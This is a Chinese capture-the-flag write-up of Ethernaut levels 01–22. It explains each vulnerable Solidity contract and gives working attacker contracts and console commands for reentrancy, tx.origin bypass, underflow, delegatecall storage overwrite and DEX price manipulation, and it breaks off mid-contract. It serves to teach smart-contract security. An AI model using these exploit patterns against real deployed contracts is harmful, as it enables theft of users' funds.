Ethernaut 题解 01-35

本文是作者在ethernaut闯关时记录的解题思路,涵盖合约分析和攻击步骤,操作基本都是在浏览器控制台和Remix完成。如有错误之处,还望读者及时指出。

01 Fallback

这题要做的是 成为owner并把合约余额减到0

考察对 receive() 函数、权限控制和资金提取机制的理解。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address => uint256) public contributions;
    address public owner;

    //构造函数,在部署时就将部署者设为owner,同时将owner的contributions设为1000eth
    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    //玩家调用此函数向合约转账可提高玩家的contributions,每次最多0.001 eth,玩家的contributions超过owner时,玩家会成为新的owner
    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {  //每次上限0.001,想超过owner的1000几乎是不可能的
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    //将合约于余额取出
    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }
    //合约定义了receive()函数表示该合约可以接收eth(直接转账),需要转账者的contributions大于0,然后会将转账者设为owner
    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

通过分析合约代码可以知道这关的思路是 玩家先调用contribute()使自己的contributions大于0,然后直接向合约转账触发receive(),使玩家成为owner,最后调用withdraw()将合约余额减到 0 。

1.调用contribute()函数,带ETH

await contract.contribute({from: player, value: web3.utils.toWei("0.00001","ether")});

2.直接往合约地址转 账,触发 receive()

await contract.sendTransaction({ from: player, value: web3.utils.toWei("0.0001", "ether") });

3.从合约里把ETH取出来

await contract.withdraw();

查看合约余额是否为0(单位wei)

(await web3.eth.getBalance(contract.address)).toString();

02 Fallout

这题的目标是 成为owner

考察旧版 Solidity 构造函数命名错误导致的合约所有权漏洞

……
        /* constructor */
    function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
    }
    //Solidity 旧版本里构造函数必须和合约名完全一致,
    //而这里写成了 function Fal1out()(数字 1 而不是字母 l),
    //所以它不是构造函数,而是一个普通的公共函数。
……

直接调用Fal1out()函数,附带ETH。

await contract.Fal1out( {from: player, value: web3.utils.toWei("0.00001","ether")});

通过await contract.owner()可以看到owner变成了玩家。

03 Coin Flip

这是一个掷硬币的游戏,目标是连续猜对10次

考察区块链上伪随机数可预测性导致的安全漏洞。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1)); //读取上一个区块的hash,block.number 是当前执行该交易所在区块的编号

        if (lastHash == blockValue) {  //拒绝重复使用同一个 hash,即上一次成功调用时使用的 blockhash 与本次相同,交易会 revert()
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;      //把 256-bit 的哈希当作大整数除以一个常量 FACTOR,结果只可能是 0 或 1,映射为 false/true
        bool side = coinFlip == 1 ? true : false;    //FACTOR 选的值约等于 2^255。哈希值 blockValue 范围是 0 ~ 2^256 - 1

        if (side == _guess) {     //比较是否猜对
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

所以思路就是 获取上一区块hash → 计算 side → 调用 flip()

使用remix部署一个攻击合约到sepolia,调用10次即可。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ICoinFlip {
    function flip(bool _guess) external returns (bool);
    function consecutiveWins() external view returns (uint256);
}

contract CoinFlipAttack {
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    ICoinFlip public CoinFlip;

    constructor(address _target) {
        CoinFlip = ICoinFlip(_target);
    }

    function attack() public {
        //计算逻辑直接复制过来
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        CoinFlip.flip(side); //调用flip进行猜测
    }

    //查看获胜次数
    function wins() external view returns (uint256) {
        return CoinFlip.consecutiveWins();
    }
}

04 Telephone

这题目标是成为owner

考察的核心是 权限认证,合约用 tx.origin 判断调用者身份导致身份验证被绕过。

攻击者可以通过攻击合约来调用,这样会使 tx.origin==攻击者msg.sender==攻击合约,从而通过if (tx.origin != msg.sender)判断并执行owner = _owner;

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ITelephone {
    function changeOwner(address _owner) external ;
}

contract TelephoneAttack {
    ITelephone telephone;
    constructor(address _target) {
        telephone = ITelephone(_target);
    }

    function attack() external  {
        telephone.changeOwner(msg.sender);
    }
}

部署后调用attack()即可。

05 Token

这题目标是让自己的Token余额大于20

考察整数下溢/溢出与错误的边界检查。

在旧版 Solidity/未用 SafeMath 时,算术会环绕(wrap),从而被利用使余额变成巨大的值。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint256) balances;  //用了 uint256来定义  balance 的值
    uint256 public totalSupply;

    constructor(uint256 _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;  //无符号整数运算,若 _value > balances[msg.sender] 会下溢,结果变成一个很大的uint
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }
}

思路:调用 transfer() 时传入比自己余额更大的 _value,触发下溢使自己的余额变为巨大的数

await contract.transfer("0x2b21942E147C63F48d20d171cc2b931329C84a56", 21);

除玩家外任意地址,一个大于20的数。

06 Delegation

这题目标是 成为owner

考察 delegatecall

delegatecall 是 EVM 的一种低级调用,与普通的 call 行为不同。它会在调用者合约的上下文中执行目标合约的代码,因此被调用的代码在运行时访问和修改的是调用者合约(caller)的存储槽)(storage),而不是目标合约自身的存储。同时,delegatecall 会保留原始的 msg.sendermsg.value,也就是说,被执行的代码看到的 msg.sender 是最初发起交易/调用的地址。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// 合约 A
contract Delegate {
    address public owner;  //存储在slot 0; slot是存储数据的固定大小单元,每个槽的大小为 32 字节(256 位),0为其索引。

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

// 合约 B
contract Delegation {
    address public owner; //存储在slot 0
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

代码中有两个合约,为方便区分用AB代表这两个合约。

先向合约B转账触发fallback(),然后执行delegatecall(msg.data)data设为Apwn(),这会把slot 0修改为msg.sender

pwn()是A用来修改owner的函数,B使用delegatecall调用了这个函数,但是在B的上下文执行,也就是在B自身的存储进行修改,而两个合约的owner存放位置都是自身第一个slot

运行下面命令即可

await web3.eth.sendTransaction({
 from: player,
 to: contract.address,
 data: web3.utils.sha3('pwn()').slice(0,10)
});

07 Force

目标:使合约的余额大于0

考察 selfdestruct()

此函数可以把ETH强制送到任意合约,使目标合约余额增加,而不需要目标合约同意或有 payable/fallback

目标合约没有 receive() / fallback() / payable 函数,直接向这种合约发交易(普通 transfer/send/call)时,会因为没有接收逻辑或没有 payable回退(revert),资金不会进入,但是 selfdestruct(target) 会直接把合约剩余的 ETH 转到 target 地址,不会触发目标合约的代码执行

所以思路就是部署一个合约,部署时转入ETH,然后使用selfdestruct()向目标合约转账。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract ForceSend {
    constructor(address payable _target) payable {
        selfdestruct(_target);
    }
}

08 Vault

目标:找到合约变量存储的值

考察链上数据透明性

无论是 public 还是 private,状态变量都会写在合约的存储槽里,任何人可以用 web3.eth.getStorageAt、Etherscan 或者区块链浏览器工具直接查看

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    bool public locked;         //solt 0
    bytes32 private password;   //solt 1

    constructor(bytes32 _password) {
        locked = true;
        password = _password;
    }

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
}

password 存储在 slot 1(因为 slot 0 存的是 locked

获取password

const pw = await web3.eth.getStorageAt(contract.address, 1)

调用函数unlock()

await contract.unlock(pw);

09 King

目标:保住王位

提交实例给关卡时, 关卡会重新申明王位. 玩家需要阻止关卡重获王位来通过这一关。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
    address king;
    uint256 public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);  //新king会向旧king转账,如果旧king拒绝接收,交易revert就能保住王位
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}

部署一个合约获取王位,合约的receive()函数内直接revert(),一旦收到转账就回滚,让交易失败。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract KingAttack {
    function attack(address _target) external payable  {
        (bool success, ) = _target.call{value: msg.value}("");
        require(success, "Failed to claim kingship");
    }

    receive() external payable  {
        revert();
    }
}

可以先用(await contract.prize()).toString()查看当前的prize是多少,attack时填入比当前的大就行。

10 Re-entrancy

目标:偷走合约的所有资产

考察重入攻击

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;

    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");  //这里先进行交易
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;     //交易完成才修改用户的余额
        }
    }

    receive() external payable {}
}

因为在进行交易时,记录用户余额的变量还未修改,攻击者可以定义receive(),在接收转账时再次调用withdraw()

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IReentrance {
    function donate(address _to) external  payable;
    function withdraw(uint256 _amount) external ;
}

contract Reentrace {
    address payable owner;
    IReentrance public reentrance;
    uint256 public donation;

    constructor(address _target) {
        reentrance = IReentrance(_target);
    }

    function attack() public payable {
        donation = msg.value;
        reentrance.donate{value: msg.value}(address(this));  //使自己balance>0
        reentrance.withdraw(msg.value);                      //提取余额
        owner.transfer(address(this).balance);               //转到玩家地址
    }

    receive() external payable {
        uint256 bal = address(reentrance).balance;
        for(int i = 0; i<10; i++)
        if (bal > donation) {
            reentrance.withdraw(donation);   在receive再次取款,因为此时balances[msg.sender]还未更新
        } else if (bal > 0) {
            reentrance.withdraw(bal);
        }
    }
}

如果交易失败可能是循环次数太多,达到了gas限制,增加 msg.value,每次取款多一点,尽量减少循环次数就能解决。

11 Elevator

目标:让变量top值为true

考察合约依赖外部调用的返回值,但没有保证一致性

function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }

goTo() 会调用 msg.senderisLastFloor()函数,如果返回 false,则继续执行,然后设置 floor = _floor,最后再调用一次 msg.sender.isLastFloor(floor),这次返回的值会赋给 top

所以要做的就是第一次返回false,第二次返回true

写一个恶意合约,实现 Building 接口,并让 isLastFloor() 的返回值根据调用次数变化

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IElvator {
    function goTo(uint256 _floor) external ;
}

contract Building {
    IElvator public elvator;
    bool public is_top= false;

    constructor(address _target) {
        elvator = IElvator(_target);
    }

    function goToTop(uint256 _floor) public {
        elvator.goTo(_floor);
    }

    //第一次返回 false,第二次返回 true
    function isLastFloor(uint256) external returns (bool) {
        if(!is_top) {
            is_top = true;
            return false;
        } else {
            return true;
        }
    }
}

部署时传入目标合约地址,接着调用goToTop()函数,随便填一个大于0的数,然后合约会进入elvator.goTo(),其中会调用两次isLastFloor(),第一次进入if返回false,第二次执行else返回true

12 Privacy

目标:找到合约变量的值

考察存储布局

合约变量按声明顺序存到 storage 的 32 字节槽slot里,较小类型会被打包到同一 slot。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
    bool public locked = true;                //slot 0:locked 占 1 byte,剩下空着
    uint256 public ID = block.timestamp;      //slot 1:ID 占 256 bits,占满
    uint8 private flattening = 10;            //slot 2:flattening 占 8 bits
    uint8 private denomination = 255;         //slot 2:denomination 占 8 bits
    uint16 private awkwardness = uint16(block.timestamp); //slot 2:awkwardness 占 16 bits
    bytes32[3] private data;                  //slot 3:data[0]  slot 4:data[1]  slot 5:data[2]

    constructor(bytes32[3] memory _data) {
        data = _data;
    }

    function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));   //这里将data[2]转化为bytes16,也就是取 data[2] 的前 16 字节
        locked = false;
    }
    …………
}

还是通过getStroageAt()查看存储数据

1.获取data[2]

const key = await web3.eth.getStorageAt(contract.address, 5);

2.截取前 16 字节(0x + 32 hex chars = 34 长度)

const key = key.slice(0, 34);

3.调用unlock()

await constract.unlock(key);

13 Gatekeeper One

目标:通过所有条件判断

考察对外部调用上下文、gas 管理和类型/位运算的理解与利用

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
    address public entrant;

    //gate1 交易的发起者不能是调用者
    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    //gete2 当前剩余 gas 对 8191 取模等于 0
    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

    //gate3.1 低32位 == 低16位
    //gate3.2 低32位 != 全64位
    //gate3.3 低32位 == tx.origin 的低16位
    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

思路

  • gate1:使用外部合约来调用enter()

  • gate2:反复尝试以不同 gas 值调用目标的 enter() —— 直到命中 gasleft() % 8191 == 0

  • gate3:高位在左边,低位在右边,uint截取是保留低位的。key的长度是64位,把它分成4个部分,每部分16位,从左到右对应一到四部分。              低32位 == 低16位:这里一个是uint32,一个是uint16,长度不够的就需要在高位填0,所以这里key的第三部分就需要全为0。              低32位 != 全64位:第一和第二部分不能全是0。              低32位 == tx.origin 的低16位:第四部分等于交易发起者的低16位

所以key的组成就是前32位不能全为0,第33到48位全为0,第49到64位是交易发起者地址的后16位。

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGatekeeperOne {
    function enter(bytes8 _gateKey) external  returns (bool);
}

contract GateOneAttack {
    IGatekeeperOne public gatekeeperOne;

    constructor(address _target) {
        gatekeeperOne = IGatekeeperOne(_target);
    }

    function attack() public {
        //构造key
        uint16 part4 = uint16(uint160(tx.origin));
        uint64 key = (uint64(1)<<32)|uint32(part4);  //<<32:左移32位,|:按位或运算符,相当于part4的值放在后32位

        // 暴力尝试 gas
        for (uint16 i = 0; i < 8191; i++) {
            try gatekeeperOne.enter{gas: 8191 * 10 + i}(bytes8(key)) {
                break;
            } catch {}
        }
    }
}

调用 attack() 成功后提交即可。

14 Gatekeeper Two

和上一关相似

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
    address public entrant;

    //gate1 交易的发起者不能是调用者
    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    //gate2 调用者不能是合约账户
    modifier gateTwo() {
        uint256 x;
        assembly {                     //assembly 块用于直接访问 EVM 的操作码
            x := extcodesize(caller()) //caller():EVM 操作码,获取当前函数调用者的地址(即 msg.sender)
        }                              //extcodesize(address):EVM 操作码,用于查询指定地址的代码大小,字节为单位
        require(x == 0); //调用者的代码大小存储到汇编变量 x,x为0则说明调用者不是合约账户。
        _;
    }

    //gate3 A ^ B = 全 1 (0xFFFFFFFFFFFFFFFF)
    modifier gateThree(bytes8 _gateKey) {
        require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}
  • gate1:部署合约调用enter()

  • gate2:在构造函数内调用enter()

  • gate3: A为uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))              B为uint64(_gateKey)                需要A异或B等于全为1的64位,等价于 B = ~A(B 是 A 的按位取反)

所以先将A取反的结果赋值给B,在让A与B异或。B = A ^ type(uint64).max

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGatekeeperTwo {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract GateTwoAttack {
    IGatekeeperTwo public GatekeeperTwo;

    constructor(address _GatekeeperTwo) {
        GatekeeperTwo = IGatekeeperTwo(_GatekeeperTwo);
        //计算key,B = A ^ type(uint64).max
        bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
        GatekeeperTwo.enter(bytes8(key));
    }
}

部署成功然后提交。

15 Naught Coin

目标:把玩家持有的 NaughtCoin 余额变成 0 考察对ERC-20 标准(approve / allowance / transferFrom)的理解。

//防止Token拥有者转走自己的Token
modifier lockTokens() {
        if (msg.sender == player) {
            require(block.timestamp > timeLock);
            _;
        } else {
            _;
        }
    }

合约只在 transfer() 上加了 lockTokens 限制,但 ERC20 的 approve() + transferFrom() 路径没有被限制,因此可以

  • approve() 一个 spender
  • 然后通过 transferFrom()tokenplayer 转走——transferFrom() 内部调用的是 _transfer()(不触发 transfer() 的修饰器),从而绕过时间锁。

先定义receiver(),用来接收转账

const receiver = "0x5af95dB6F5ED5e8Ff3d7f0f4812d8484342Db719";

然后授权

await contract.approve(player, web3.utils.toWei("1000000", "ether"), { from: player });

receiver转账

await contract.transferFrom(player, receiver, web3.utils.toWei("1000000", "ether"), { from: receiver });

查看余额,结果应为0

(await contract.balanceOf(player)).toString();

16 Preservation

目标:成为owner

考察delegatecall

contract Preservation {
    // public library contracts
    address public timeZone1Library;    //slot 0
    address public timeZone2Library;    //slot 1
    address public owner;               //slot 2
    uint256 storedTime;
    // Sets the function signature for delegatecall
    bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

这题与之前的一道题有先相似,不过这次两个合约owner的slot索引并不相同,不能像之前那样解。

可以部署一个攻击合约,让攻击合约的owner的 slot 索引以目标合约的owner索引一致,

第一次调用:把 timeZone1Library()所在的slot 0 改成攻击合约地址。

第二次调用:调用攻击合约的 setTime(),在里面写入数据,从而覆盖 slot2,把自己设为 owner

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PreservationAttack {
    // 必须和目标合约的前三个状态变量保持“对齐”
    address public timeZone1Library; // slot0
    address public timeZone2Library; // slot1
    address public owner;            // slot2

    function setTime(uint256 _addr) public {
        owner = address(uint160(_addr)); // 把传进来的数当成地址写进 owner
    }
}

先部署攻击合约

timeZone1Library 改成攻击合约

await contract.setFirstTime("攻击合约地址");

owner 改成玩家的地址

await contract.setFirstTime(player);

成功后owner就会变成player。

17 Recovery

目标:找到丢失的 SimpleToken 合约地址,并调用它的 destroy() 函数,把里面的 0.001 ETH 取出来

考察合约地址的计算方式

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {
    //generate tokens
    function generateToken(string memory _name, uint256 _initialSupply) public {
        new SimpleToken(_name, msg.sender, _initialSupply);          //使用create创建合约
    }
}
……
}

合约有两种创建方式

  • CREATE:普通的 new,地址 = keccak256(rlp(sender, nonce))
  • CREATE2:带 saltnew,地址 = keccak256(0xff ++ sender ++ salt ++ keccak256(bytecode))

本题用的是第一种,所以SimpleToken.address = keccak256(rlp(Recovery_address, 1))[12:]

RLP 是 以太坊专门设计的一种数据编码格式

[12:] 是 去掉前 12 个字节,只保留后 20 字节,因为地址的长度是20字节

思路:

先计算出SimpleToken合约的address

_ethers.utils.getContractAddress({from:contract.address,nonce:1});

然后在remix创建合约放入下面代码,因为只用到destory()函数,所以放入destory()的代码就够了。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleToken {
    // clean up after ourselves
    function destroy(address payable _to) public {
        selfdestruct(_to);
    }
}

下一步连接合约实例,填入SimpleToken的地址,点击At Address

接下来就调用destory()函数,填入自己的地址。

交易成功提交即可。

18 MagicNumber

目标:向 Ethernaut 提供一个Solver合约,其对whatIsTheMeaningOfLife()能够返回正确的 32 字节的响应。

也就是说,玩家要部署一个极小的合约(≤10 字节 runtime code)。 这个合约 在被调用时,无论收到什么 calldata,都返回 32 字节的 42,通过代码注释部分得知magic number是42。

直接用浏览器控制台部署,因为合约部署本质上就是 发送一笔 to=null 的交易,data 填上 creation code

data = [creation code] + [runtime code],先执行creation code,然后返回runtime code

creation code:600a600c600039600a6000f3
60 0a    PUSH1 0x0a       // runtime code 长度 (10 字节)
60 0c    PUSH1 0x0c       // runtime code 在 creation code 里的起始位置
60 00    PUSH1 0x00       // 内存起始位置
39       CODECOPY         // 把 creation code[0x0c..0x0c+0x0a] 拷贝到内存[0..0x0a]
60 0a    PUSH1 0x0a       // 长度 (10)
60 00    PUSH1 0x00       // 内存起始位置
f3       RETURN           // 返回 runtime code,成为合约的最终代码
runtime code:602a60005260206000f3
60 2a    PUSH1 0x2a       // 压入常数 0x2a (也就是 42)
60 00    PUSH1 0x00       // 压入 0 (内存地址)
52       MSTORE           // 把 42 写入内存[0..32),变成 32 字节: 0x...2a
60 20    PUSH1 0x20       // 压入 32 (要返回的数据长度)
60 00    PUSH1 0x00       // 压入 0 (返回起始偏移)
f3       RETURN           // 返回内存[0..32),长度=32

data=“600a600c600039600a6000f3602a60005260206000f3”

部署后把这个合约地址传给 MagicNum.setSolver(address)

Ethernaut 会在后台对玩家传的 solver 地址发起一个 call,data = keccak256("whatIsTheMeaningOfLife()")[:4], 然后检查返回值是否是 32 字节的 42

攻击步骤:

const tx = await web3.eth.sendTransaction({ from: player, data: "0x600a600c600039600a6000f3602a60005260206000f3" })

await contract.setSolver(tx.contractAddress);

如遇到交易失败nonce too low: next nonce 394, tx nonce 393这样的,稍等一会重试就行。

提交。

19 Alien Codex

目标:成为owner

考察slot以及动态数组越界

分析代码合约继承了Ownable(),slot会先安排给Ownable()定义的变量,再安排本合约的变量。owner已在父合约中定义,但不确定位置,还是先看看源码。https://github.com/OpenZeppelin/ethernaut/blob/master/contracts/src/helpers/Ownable-05.sol

可以确定是在slot0.

接下来讨论数组越界的问题 codex 在合约中占的 slot 是 1(slot0 = owner(20字节) + contact(1字节) ,slot1 = codex)。 实际上slot1只是存放了codex的长度,数组真正的内容从 keccak256(slotN) 这个位置开始顺序存放,在这题中N=1

调用retract()length 溢出成 2^256-1,这样任意大索引 i 都是合法的。

最后找到一个i,满足keccak256(1) + i ≡ 0 (mod 2^256),这样 codex[i] 就会对应到 slot0,把 owner 改掉。

步骤

  1. 调用合约的 makeContact() 函数,把 contact 置为 true
    await contract.makeContact();
  2. 调用合约的 retract(),造成数组下溢,从而允许用很大的索引 i 写到数组的任意slot
    await contract.retract();
  3. 计算数组元素起始位置
    const codexSlotHash = await web3.utils.keccak256(web3.eth.abi.encodeParameter("uint256", 1));
  4. 定义变量,用 BN 表示大整数,避免 JS 的数值精度问题
    const max = web3.utils.toBN('0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff');
  5. 定义变量
    const one = web3.utils.toBN(1);
  6. 定义变量
    const k = web3.utils.toBN(codexSlotHash);
  7. 计算覆盖slot0对应的数组下标
    const index = max.add(one).sub(k);
  8. player 地址转为小写并去掉 0x 前缀,得到纯 40 个 hex 字符的地址字符串
    const addr = player.toLowerCase().replace(/^0x/, '');
  9. 把去掉 0x 的地址左侧用 0 填满到 64 个 hex 字符(即 32 字节),再加上 0x 前缀,构成标准的 bytes32
    const payload = "0x" + addr.padStart(64, '0');
  10. 调用合约的 revise(),使玩家地址覆盖slot0
    await contract.revise(index.toString(), payload);

20 Denial

目标:owner 调用 withdraw() 时,拒绝提取资金

考察gas 消耗、call 的风险、DoS 攻击 分析代码可以找到突破点,就在withdraw函数的partner.call{value: amountToSend}("");

这行代码把 gas 原封不动地传给了对方。如果对方合约在 receive()fallback() 里执行消耗大量 gas 的逻辑,就会拖垮整个 withdraw()

写一个攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract DenialAttack {
    // fallback 或 receive 中写死循环,消耗gas
    fallback() external payable {
        while (true) {
            // 死循环
        }
    }
}

合约部署后在控制台运行

await contract.setWithdrawPartner("0xd9F874C70BBeeDf36d93d6F0e555e8c597bb3F11");` //攻击合约地址

然后运行,交易会失败

await contract.withdraw();

提交实例。

21 Shop

目标:以低于要求的价格购买商品

考察接口回调、view 函数限制、多次调用时机。

function buy() public {
    IBuyer _buyer = IBuyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {  //第一次调用price()
      isSold = true;
      price = _buyer.price();   //第二次调用price()
    }
  }

代码中共有两次调用price(),为了能够成功买下商品,第一次返回一个 大于等于 100 的数(满足条件),第二次返回一个 小于 100 的数(改变最终价格)。

玩家需要部署一个实现了 IBuyer 接口的合约,Solidity 的 view 函数不能修改状态,但 可以读取链上状态并返回不同结果

题目提示的关键:我们可以根据调用的上下文(例如 Shop.isSold 的值)在 price() 返回不同的价格。

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IShop {
    function buy() external;
    function isSold() external view returns(bool);
}

contract Buyer{
    IShop shop;

    constructor(address _shopAddr) {
        shop = IShop(_shopAddr);
    }
    function buy() public {
        shop.buy();
    }

    function price() external view returns (uint256){
        // 第一次调用时 isSold 还是 false,返回 >=100
        // 第二次调用时 isSold 已经变成 true,返回一个小于100的价格
        if (!shop.isSold()) {
            return 100;
        } else {
            return 1;
        }
    }
}

部署和约时传入shop地址,然后调用攻击合约的buy()函数,交易成功后price的值会变成1

然后提交。

22 DEX

Dex 合约中 取出至少一种代币token1token2

初始条件:玩家持有 10 个 token1 和 10 个 token2,合约各有 100

目标是通过价格操纵/交换,使合约的某一代币储备为 0,从而“窃取”合约里的代币

考察价格计算公式

    function swap(address from, address to, uint256 amount) public {
        require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
        uint256 swapAmount = getSwapPrice(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }

    function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }

分析上面代码可得知交换逻辑。 比如玩家要用N个A代币去交换B代币,那么玩家得到的B代币的数量为M

M = N × 合约中B的余额 / 合约中A的余额

举例说明

  • 第一次: 玩家用10个token1换token2 swap(token1, token2, 10) swapAmount = (10 * 100) / 100 = 10 结果:玩家得到 10 token2,合约剩余token1 = 110,token2 = 90

  • 第二次: 玩家用20个token2换token1 swap(token2, token1, 20) swapAmount = (20 * 110) / 90 = 24(向下取整) 结果:玩家得到 24 token1,合约剩余 token2 = 110,token1 = 86

重复此步骤直到合约中某种代币余额为0。

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IDEX {
    function swap(address from, address to, uint256 amount) external;
    function approve(address spender, uint256 amount) external;
    function token1() external view returns(address);
    function token2() external view returns(address);
    function balanceOf(address token, address account) external view returns (uint256);
}

interface IERC20 {
    function transfer(address to, uint256 amount) external returns(bool);
    function transferFrom(address from, address to, uint256 amount) external returns(bool);
    function balanceOf(address who) external view returns(uint256);
    function approve(address spender, uint256 value) external returns(bool);
}

contract DexAttack {
    IDEX public DEX;
    address public DEX_addr;
    address public token1;
    address public token2;

    constructor(address _DEX) {
        DEX_addr = _DEX;
        DEX = IDEX(DEX_addr);
        token1 = DEX.token1();
        token2 = DEX.token2();
    }

    function pullFromEOA() external {
        IERC20(token1).transferFrom(msg.sender, address(this), 10);
        IERC20(token2).transferFrom(msg.sender, address(this), 10);
    }

    function attack() external  {
        //  授权 DEX 从本合约 transferFrom
        DEX.approve(DEX_addr, 10000);

        for (uint8 i = 0; i < 50; i++ ) {
            uint256 dexT1 = DEX.balanceOf(token1, DEX_addr);
            uint256 dexT2 = DEX.balanceOf(token2, DEX_addr);

            // 如果任一被清空,成功
            if (dexT1 == 0 || dexT2 == 0) break;

            uint256 myT1 = IERC20(token1).balanceOf(address(this));
            uint256 myT2 = IERC20(token2).balanceOf(address(this));

            if (myT1 > 0) {
                // 交换方向 token1 -> token2
                // 安全 amount = min(myT1, dexT1)
                uint256 amount = myT1;
                if (amount > dexT1) amount = dexT1;
                // 只在 amount>0 时调用
                if (amount > 0) {
                    DEX.swap(token1, token2, amount);
                }
            } else {
                // myT2 > 0, 交换 token2 -> token1
                uint256 amount = myT2;
                if (amount > dexT2) amount = dexT2;
